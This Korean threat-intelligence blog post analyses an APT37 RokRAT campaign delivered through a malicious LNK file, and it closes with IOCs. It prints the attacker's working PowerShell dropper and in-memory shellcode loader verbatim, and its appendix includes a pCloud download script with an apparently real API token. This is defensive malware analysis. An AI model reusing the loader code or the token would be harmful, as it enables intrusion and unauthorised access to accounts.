위협 인텔리전스

LNK 파일을 활용한 RokRAT 악성코드에 대한 분석

엔키화이트햇

Sep 13, 2024

1. 개요

Microsoft가 Office 앱에서 매크로를 차단하고 VBScript를 점진적으로 폐지하기 시작한 이후, 초기 침투 수단으로 LNK 파일을 활용한 악성코드 공격이 다수 확인되고 있다.

그 중 LNK 파일을 활용하여 실행되는 RokRAT에 대한 악성코드 정보를 트위터에서 확인할 수 있었으며, 본 글에서는 이에 대한 분석 내용을 다루고자 한다.

APT, 엔키화이트햇


2. 악성코드 분석

2.1 - 개요도


2.2 — LNK 파일 분석

Gate access roster 2024.xlsx.lnk

공격자들은 일반적으로 명령어가 삽입된 LNK 파일만 압축하거나 정상 파일과 LNK 파일을 같이 압축하여 공격 대상에게 이메일로 전송한다. 본 글에서는 압축 파일을 확보하지 못하여 악성 LNK 파일부터의 분석 내용을 작성하였다.

LNK 파일은 실행 대상 프로그램을 지정할 수 있다. 공격자들은 이를 활용하여 명령어를 삽입하고, 실행하도록 유도한다. LNK 파일의 속성을 확인하면 명령어가 삽입된 것을 알 수 있다.

Gate access roster 2024

[LNK 파일 속성]

LECmd 분석 도구를 사용하여 LNK 파일에 삽입된 전체 명령어를 확인할 수 있다.

[LECmd 실행 결과]


tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {
    $dirPath = '%temp%'
}
$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0280216D} | Select-Object -ExpandProperty FullName;

$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);

$pdfPath = $lnkPath.replace('.lnk','.xlsx');
sc $pdfPath $pdfFile -Encoding Byte;
& $pdfPath;

$lnkFile.Seek(0x00003ED6, [System.IO.SeekOrigin]::Begin);
$exeFile = New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath = $env:public + '\' + 'viewer.dat';
sc $exePath $exeFile -Encoding Byte;

$lnkFile.Seek(0x000DD2D8, [System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005AA;
$lnkFile.Read($stringByte, 0, 0x000005AA);
$batStrPath = $env:public + '\' + 'search.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;

$lnkFile.Seek(0x000DD882, [System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000139;
$lnkFile.Read($batByte, 0, 0x00000139);
$executePath = $env:public + '\' + 'find.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
& $executePath;

$lnkFile.Close();
remove-item -path $lnkPath -force;
" && exit9C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);

링크 파일이 실행될 때 수행하는 행위 순서는 아래와 같다.

  1. C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\ 경로에 존재하는 *rshell.exe 파일을 실행한다. 이때 실행되는 파일을 통해 Powershell Script가 실행된다.

  2. 현재 작업 디렉토리가 System32 또는 Program Files 경로와 일치하면, $dirPath 변수를 임시 디렉토리(%Temp%)로 변경한다. 일치하지 않은 경우 $dirPath 변수는 현재 작업 디렉토리로 유지된다.

  3. $dirPath 변수의 디렉토리에서 재귀적으로 파일 크기가 41,951,597인 LNK 파일을 탐색한다.

  4. 위 과정에서 확인된 LNK 파일에 내장된 여러 파일 데이터를 추출한 뒤 파일로 저장한다. 이때 생성되는 파일들은 아래 표와 같다.


Gate access roster 2024.xlsx 파일과 find.bat 파일이 실행된다. 마지막으로 LNK 파일은 자가 삭제를 수행한다.

guest, vistor access roster


2.3 — Powershell Script 분석

find.bat 파일과 search.dat 파일은 LNK 파일에 의해 생성 및 실행되는 파일들이다.

find.bat

find.bat 파일은 search.dat 파일 데이터를 읽은 후, Powershell ScriptBlock으로 만들어 실행한다.

start /min C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe -windowstyle hidden "
$stringPath=$env:public+'\\'+'search.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);
&$scriptBlock;
"

search.dat

search.dat 파일은 viewer.dat 파일을 읽어 메모리에 로드하고, 스레드를 생성하여 메모리에 로드된 코드를 실행한다. viewer.dat 파일은 ShellCode이다.

$exePath = $env:public + '\' + 'viewer.dat';
$exeFile = Get-Content -path $exePath -encoding byte;

[Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);

$k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34);

$a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru;

$d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru;

$b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru;

$dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;

$byteCount = $exeFile.Length;
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;

$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old);

for ($i = 0; $i -lt $byteCount; $i++) {
    [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]);
}

$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);


2.4 — ShellCode 분석

ShellCode는 암호화된 RokRAT 데이터를 복호화한 뒤 메모리에서 실행한다. API Resolving을 통해 제공된 API 해시 값을 기반으로 일치하는 API를 찾아 해당 API의 주소를 반환하고, 이를 호출한다.

API Resolving 의사 코드

[API Resolving 의사 코드]

암호화된 RokRAT 데이터는 ShellCode에 내장되어 있으며, xor 연산을 통해 복호화된 후 메모리에서 실행된다.

RokRAT 복호화 루틴 의사 코드

[RokRAT 복호화 루틴 의사 코드]

RokRAT 데이터 복호화 스크립트는 아래와 같다.

from idaapi import *

ea = 2045
key = get_byte(ea)
size = get_dword(ea + 1)

result = bytes(key ^ data for data in get_bytes(ea + 5, size))

with open("RokRAT", "wb") as f:
    f.write(result)ea = 2045
key = get_byte(ea)
size = get_dword(ea + 1)


2.5 — RokRAT 분석

RokRAT는 클라우드 서비스인 pCloud, DropBox, Yandex를 C&C 서버처럼 사용한다. 수집한 감염 시스템 정보는 클라우드 서비스로 업로드되고, 클라우드 서비스를 통하여 명령코드가 포함된 데이터를 받는다.

메인 함수에서 주요 행위를 수행하는 스레드를 생성하기 전에, 먼저 감염 시스템 정보를 수집한다.

RokRAT 감염 시스템 정보 수집 루틴

[RokRAT 감염 시스템 정보 수집 루틴]


수집하는 주요 정보들은 아래와 같다.

  • Windows OS Build Version

  • Windows OS Bitness

  • Computer Name

  • User Name

  • Current Process Path

  • System Product

  • vmtools Version

  • System Bios Version

정보 수집과 동시에 랜덤 함수를 이용하여 클라우드 서비스와 통신할 때 사용되는 값들을 생성한다.

[통신에 사용되는 데이터 생성 루틴]


악성코드에는 두 개의 문자열 복호화 함수가 존재한다. 두 함수 모두 암호화된 데이터의 첫 바이트를 키로 사용한다. 차이점은 하나의 함수가 키와 연산된 값에서 추가로 2048을 빼는 연산을 수행한다.

암호화된 모든 문자열의 복호화 결과를 출력하는 스크립트는 아래와 같다.

from idaapi import *
from idautils import *
from idc import *
from ida_segment import get_segm_by_name
import re

def get_ins(ea):
   return [print_insn_mnem(ea), print_operand(ea, 0), print_operand(ea, 1)]

def find_sp(ea):
    t_ea = ea
    while True:
        ins = get_ins(ea)
        if ins[0] == "lea" and ins[1] == "ecx":
            if "ebp" in ins[2]:
                sp_flag = 1
            elif "esp" in ins[2]:
                sp_flag = 2
            sp = ins[2]
            break
            
        ea = prev_head(ea)
        
    ea = t_ea
    while True:
        ins = get_ins(ea)
        if sp in ins[1]:
            return ea, sp, sp_flag
            
        ea = prev_head(ea)

def parsing_word_data(data):
    data = data.replace("h", "")
    return [data[3:], data[:3]]

def get_values(ea, sp, sp_flag):
    result = []
    if sp_flag == 1:
        pattern = r"\[ebp-(\w+)\]"
        while True:
            ins = get_ins(ea)
            if ins[0] == "mov" and "[ebp" in ins[1]:
                op_offset(ea, 0, 1)
                match = re.search(pattern, print_operand(ea, 0))
                if len(match.group(1)) == 1 or len(ins[2]) == 4:
                    result.append(ins[2].replace("h", ""))
                    op_offset(ea, 0, 0)
                    return result
                elif ins[2] == "ax":
                    op_offset(ea, 0, 0)
                    return result
                else:
                    result += parsing_word_data(ins[2])
                        
                op_offset(ea, 0, 0)
                            
            ea = next_head(ea)
    elif sp_flag == 2:
        pattern = r"\b(?:esp\+(\w+))h\b"
        while True:
            ins = get_ins(ea)
            if ins[0] == "mov" and "[esp" in ins[1]:
                op_offset(ea, 0, 1)
                match = re.search(pattern, print_operand(ea, 0))
                if len(match.group(1)) == 1 or len(ins[2]) == 4:
                    result.append(ins[2].replace("h", ""))
                    op_offset(ea, 0, 0)
                    return result
                elif ins[2] == "ax":
                    op_offset(ea, 0, 0)
                    return result
                else:
                    result += parsing_word_data(ins[2])
                        
                op_offset(ea, 0, 0)
                            
            ea = next_head(ea)

def parsing_encrypt_data(ea, d_flag):
    ea, sp, sp_flag = find_sp(ea)
    ret = get_values(ea, sp, sp_flag)
    result = ""
    if d_flag == 1:
        for i in range(len(ret) - 1):
            result += chr((int(ret[i + 1], 16) - int(ret[0], 16) - 2048) & 0xff)
    elif d_flag == 2:
        for i in range(len(ret) - 1):
            result += chr((int(ret[i + 1], 16) - int(ret[0], 16)) & 0xff)
    
    print (hex(ea), result)

segm = get_segm_by_name(".text")
ea = segm.start_ea
end_ea = segm.end_ea

while True:
    if ea >= end_ea:
        break
    else:
        if "sub_40E716" in GetDisasm(ea):
            parsing_encrypt_data(ea, 1)
        elif "sub_40E6D3" in GetDisasm(ea):
            parsing_encrypt_data(ea, 2)
            
    ea = next_head(ea)
복호화 스크립트 실행 결과

[복호화 스크립트 실행 결과]

감염 시스템 정보 수집이 종료되면, 클라우드 서비스와 통신하면서 악성 행위를 수행하는 스레드를 생성한다.

메인 함수 의사 코드

통신에 사용되는 클라우드 서비스는 pCloud와 Yandex이다. pCloud를 메인으로 사용하며, Yandex는 pCloud를 사용할 수 없을 때 사용된다. DropBox와 관련된 루틴이 존재하지만 사용되지는 않는다.


클라우드 서비스 식별자와 토큰 정보는 하드 코딩되어 있다.

[pCloud 토큰 정보]

[Yandex 토큰 정보]

수집한 감염 시스템 정보를 포함하여 클라우드 서비스로 전송될 데이터를 설정하는 과정은 다음과 같다.

  1. 악성코드에 하드 코딩된 4바이트 데이터 추가

  2. 수집한 감염 시스템 정보 추가

  3. 구분 데이터 추가 (0x28)

  4. 스크린샷 정보 추가

  5. 구분 데이터 추가 (0x2A)

  6. 현재 동작중인 프로세스 정보 수집 및 수집 정보 길이 추가

  7. 현재 동작중인 프로세스 정보 추가

[클라우드 서비스로 전송되는 데이터 생성 루틴]


최종 데이터 구조는 아래와 같다.

클라우드 서비스로 전송되는 데이터는 암호화되어 전송된다.

첫 번째는 랜덤으로 생성된 4바이트 키를 이용하여 xor로 암호화한다. 이때 암호화되는 데이터의 첫 4바이트 값은 공격자가 악성코드를 생성하면서 이미 알고 있는 값이기에, 공격자는 역연산으로 4바이트 키를 알아낼 수 있다.

[암호화 및 업로드 루틴]


두 번째는 aes-cbc-128로 암호화한다. 암호화에 사용되는 키와 iv는 아래 루틴에 의해 초기화된다.


[aes 키, iv 초기화 루틴]

aes 키는 rsa 공개 키를 사용하여 암호화되고, 감염 시스템 정보와 함께 클라우드 서비스에 업로드된다. rsa 공개 키는 ber 형식으로 인코딩되어 포함되어 있다.


[rsa 공개 키가 포함된 ber 형식의 데이터]

클라우드 서비스와 통신하며 수신된 데이터는 aes-cbc-128로 복호화된다. 명령코드에 따라 수행하는 행위는 아래와 같다.



3. 마치며

본 글에서는 APT37 그룹이 초기 침투 수단으로 LNK 파일을 활용하는 방법과, RokRAT 악성코드의 동작 방식 및 주요 특징을 분석하였다. RokRAT는 Living Off Trusted Sites 기법을 이용해 정상적인 서비스인 pCloud, Yandex, DropBox를 공격에 악용하여, 별도의 인프라를 구축하지 않고도 악성 활동을 수행하였다. 이러한 상황에 대응하기 위해, pCloud의 경우 복잡한 인증 절차를 통해 API 토큰을 발행하는 방식으로 악용을 차단하고 있다.

지속적으로 변화하는 사이버 공격의 양상에 대응하는 데 있어 본 글이 참고 자료로서 도움이 되기를 바란다.


4. 부록

4–1. 분석 스크립트

LNK 내장 파일 덤프 스크립트

def get_data(file_path, offset, length):
    with open(file_path, 'rb') as file:
        file.seek(offset)
        return file.read(length)

def create_file(file_path, data):
    with open(file_path, 'wb') as file:
        file.write(data)

lnk = "Gate access roster 2024.xlsx.lnk"

pdf_data = get_data(lnk, 0x10A4, 0x2E32)
viewer_data = get_data(lnk, 0x3ED6, 0xD9402)
search_data = get_data(lnk, 0xDD2D8, 0x5AA)
bat_data = get_data(lnk, 0xDD882, 0x139)

create_file("Gate access roster 2024.xlsx", pdf_data)
create_file("viewer.dat", viewer_data)
create_file("search.dat", search_data)
create_file("find.bat", bat_data)

API Hashing 스크립트

def ror(value, shift, size=32):
    shift %= size
    return ((value >> shift) | (value << (size - shift))) & ((1 << size) - 1)

def get_function_hash(dll_name, func_name):
    key = 0
    for char in dll_name:
        key = ((key + (char & ~0x20)) << 19) & 0xffffffff | ((key + (char & ~0x20)) >> 13) & 0xffffffff

    hash_value = 0
    for char in func_name:
        hash_value = ror(hash_value + char, 13)

    return hex(hash_value ^ key)

dll_name = b"ntdll.dll"
func_name = b"RtlFillMemory"
print(get_function_hash(dll_name, func_name))

pCloud 파일 다운로드 스크립트

import requests
import json
import sys
import os

DOWNLOAD_PATH = "contents"
METADATA_PATH = "metadata"

def get_trash(token):
    url = "https://api.pcloud.com/trash_list"
    res = requests.post(url, data = {"access_token":token, "path":"/"})
    return res.json()

def get_user_info(token):
    url = "https://api.pcloud.com/userinfo"
    res = requests.post(url, data = {"access_token":token})
    return res.json()

def get_directory_list(token, path):
    result = []
    url = "https://api.pcloud.com/listfolder"
    res = requests.post(url, data = {"access_token":token, "path":path})

    for i in res.json()["metadata"]["contents"]:
        if i["isfolder"]:
            if not os.path.isdir(DOWNLOAD_PATH + i["path"]):
                os.mkdir(DOWNLOAD_PATH + i["path"])

            result += get_directory_list(token, i["path"])
        else:
            result.append(i)

    return result

def download_file(token, path):
    res = requests.post(f"https://api.pcloud.com/getfilelink?path={path}&forcedownload=1&skipfilename=1", data={"access_token":token})
    file_link = res.json()["path"]
    host = res.json()["hosts"][0]
    url = host+file_link
    
    if os.path.isfile(DOWNLOAD_PATH + path):
        return
    try:
        res = requests.get("https://" + url)
    except:
        try:
            res = requests.get("http://" + url)
        except:
            return False
    
    return res.content
                                                                                                
if __name__ == "__main__":
    real_token = "Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX"

    token = real_token

    user_info = get_user_info(token)

    if "error" in user_info:
        sys.exit(user_info["error"])    
    else:
        base_dir = f"./{token}"
        if not os.path.isdir(base_dir):
            os.mkdir(base_dir)
        
        with open(f"{base_dir}/userinfo.json", "w") as f:
            json.dump(user_info, f)

        DOWNLOAD_PATH = os.path.join(base_dir, DOWNLOAD_PATH)
        METADATA_PATH = os.path.join(base_dir, METADATA_PATH)
        
        if not os.path.isdir(DOWNLOAD_PATH):
            os.mkdir(DOWNLOAD_PATH)
        if not os.path.isdir(METADATA_PATH):
            os.mkdir(METADATA_PATH)

        files = get_directory_list(token, "/")
        for i in files:
            mp = i["path"].replace("/", "_")
            with open(f"{METADATA_PATH}/{mp}.json", "w") as jf:
                json.dump(i, jf)

            content = download_file(token, i["path"])
            if content:
                with open(DOWNLOAD_PATH + i["path"], "wb") as f:
                    f.write(content)

aes 키, iv 초기화 스크립트

random_data = [] # 16바이트 랜덤  &CryptoPP::AutoSeededRandomPool에 의해 생성된다.

key = []
iv = []

for i in range(16):
    key.append(((4 * (i + 9)) | 0x4e) & 0xff)
    iv.append(((8 * (i - 15)) | 0x1c) & 0xff) 

iv_xor_key = [0x2, 0x4, 0x6, 0xe, 0x6, 0x7, 0x8, 0x98, 0x68, 0x83, 0x78, 0xae, 0x3a, 0x4b, 0x8a, 0x6a]

for i in range(16):
 key[i] ^= random_data[::-1][i]

for i in range(16):
 iv[0] ^= iv_xor_key[i]
 
print (key, iv)

4–2. 분석 구조체

RokRAT 감염 피시 정보 구조체

struct get_info
{
  int TickCount;
  wchar_t additional_data[8];
  int pad_0;
  char version[32];
  wchar_t wow64_flag[1];
  wchar_t ComputerName[64];
  wchar_t UserName[64];
  wchar_t FileName[256];
  char SMBiosData[128];
  char Debugging_flag;
  char CreateDatFile_flag;
  char vmtoolsInfo[40];
  char SystemBiosVersion[40];
  char pad_1_disable[100];
  char pad_2;
  char Recv_FileData_Decrypt_Key[32];
  wchar_t rand_value_1[16];
  int pad_3;
  __int16 pad_4;
  wchar_t Cloud_Recv_Data_FileName[16];
  int pad_5;
  __int16 pad_6;
  char Recv_Data_Decrypt_Key[32];
  __int16 pad7;
};

4–3. IOC

c25e5e87d1e665197209e7aaec64e484ce30e2dabcc9e457c5593ac6c7bb5686 (Gate access roster 2024.xlsx.lnk)
  - dd3803ade05abe200bac8cb34247b4318b45fc8e731f4f1b4a2f26f613201d07 ((Gate access roster 2024.xlsx)
  - 95aedd9c8ec64d3abd6ecf016b6886eec6af73ee278a2d7da9f20ff97e157e6f (search.dat)
 - cdfa3a84b1bf6a58218bb6435a513b8e0bae4dbc849dfa045ed72216d817ae2b (find.bat)
  - 2ae727feffb939434fd9c3804517d868fbe42a8e2d66fd0eef9fa14f3e9c7a27 (viewer.dat)
    - 94159655fa0bfb1eff092835d8922d3e18ca5c73884fd0d8b78f42c8511047b6 (RokRAT)
0a501fd9d043b043de9083d03870b9c9ddb4f18a89366bc2ca413f835709415c
  - 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126
  - e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
  - 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
  - 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6
    - b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282
23549c774f56aae77115b456bdcad6c81fb82a0936841da0e056c922db83d342
  - 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126
  - e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
  - 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
  - 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6
    - b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282
b02329000ae4f8f4238db366d8fe394867dcad8222d02d9a76e82a376c6b1405
  - 9646372af573fb90a7f3665386629cc3b08ee44fb5d294f479c931ad7300bb31
  - e6f4bbc21b34b10b10a9bc83ccc329a286b2710f3d34ce427846b5ff53b611c5
  - 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
  - dc6ca2e9ce800245a65715647bb1614c35632f270d1879e796472e786cdfc0fc
    - 1fa815ed72933b3d2efdae7b13d6cc87ef261ea0d45903a02226a9278ccd49d0
b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56
  - 81269c3c41d957765314a1704e0ea6cdf9666eab729597207fd1cc844c749beb
  - e6f4bbc21b34b10b10a9bc83ccc329a286b2710f3d34ce427846b5ff53b611c5
  - 4ec203d22097e29d83a6425e523cfb3e26ff5b39454585f78a627f2f0fb658f8
  - dc6ca2e9ce800245a65715647bb1614c35632f270d1879e796472e786cdfc0fc
    - 1fa815ed72933b3d2efdae7b13d6cc87ef261ea0d45903a02226a9278ccd49d0
c25e5e87d1e665197209e7aaec64e484ce30e2dabcc9e457c5593ac6c7bb5686
  - dd3803ade05abe200bac8cb34247b4318b45fc8e731f4f1b4a2f26f613201d07
  - 95aedd9c8ec64d3abd6ecf016b6886eec6af73ee278a2d7da9f20ff97e157e6f
  - cdfa3a84b1bf6a58218bb6435a513b8e0bae4dbc849dfa045ed72216d817ae2b
  - 2ae727feffb939434fd9c3804517d868fbe42a8e2d66fd0eef9fa14f3e9c7a27
    - 94159655fa0bfb1eff092835d8922d3e18ca5c73884fd0d8b78f42c8511047b6
cbc777d1e018832790482e6fd82ab186ac02036c231f10064b14ff1d81832f13
  - 14e507f2160b415d8aae1bbe4e5fbcf0a10563a72bb53b7d8a9fc339518bc668
  - e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
  - 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
  - f3d98b1638dbe6fd0f97ae3b1d2c9d5c0f592baa1317c862042e5201a1e14aed
    - 4f5d8bb87b68b943c1e4f05c12a8c0836dc7744bc4e7868c6189cbd5881c2d79
dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6
  - 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126
  - e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
  - 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
  - 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6
    - b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282
e914f39c7800f87e99ca4821c7a6d4ac580d99b5d70bea54d17c2b6e862b2de6
  - 00f45a18a4ca30f2de40c213186bd9e9e1202f24c844cbcae29ae01d93cbae93
  - faa8312eb5dfaafae9be18b4470990e6e0ff4911c862e33879196ed233d18745
  - 92bad80b08407755da14760de5703dcd7a88703ffca7443f18fd94d853b08056
  - cbc777d1e018832790482e6fd82ab186ac02036c231f10064b14ff1d81832f13

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

Let's Build Together

Digital world's safest sanctuary, ENKI

Contact

Let's Build Together

Digital world's safest sanctuary, ENKI

Contact

Let's Build Together

Digital world's safest sanctuary, ENKI

Contact

공격자 관점의 깊이가 다른 보안을 제시합니다.

Contact

biz@enki.co.kr

02-402-1337

서울특별시 송파구 송파대로 167
(테라타워 B동 1214~1217호)

ENKI Whitehat Co., Ltd.

Copyright © 2024. All rights reserved.

공격자 관점의 깊이가 다른 보안을 제시합니다.

ENKI Whitehat Co., Ltd.

Copyright © 2024. All rights reserved.